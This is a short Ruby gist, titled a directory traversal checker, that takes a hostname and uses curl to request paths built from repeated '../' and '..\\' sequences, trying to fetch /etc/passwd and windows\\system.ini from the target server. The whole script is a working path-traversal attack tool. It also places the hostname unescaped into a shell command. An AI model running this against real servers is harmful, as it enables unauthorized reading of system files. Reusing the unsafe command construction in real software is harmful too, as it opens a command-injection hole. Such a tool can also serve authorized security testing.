Directory traversal checker

gistfile1.rb

require 'cgi'

abort "Please supply hostname" unless ARGV[0]

hostname = ARGV[0]

depth = (ARGV[1] || 12 ).to_i

1.upto(depth) do |n|
  $stderr.puts "Depth: #{n}"

  windows_url = "#{hostname}/#{"..\\" * n}windows\\system.ini"
  linux_url = "#{hostname}/#{"../" * n}etc/passwd"
  `curl -s --fail -O "#{windows_url}"`
  `curl -s --fail -O "#{linux_url}"`
end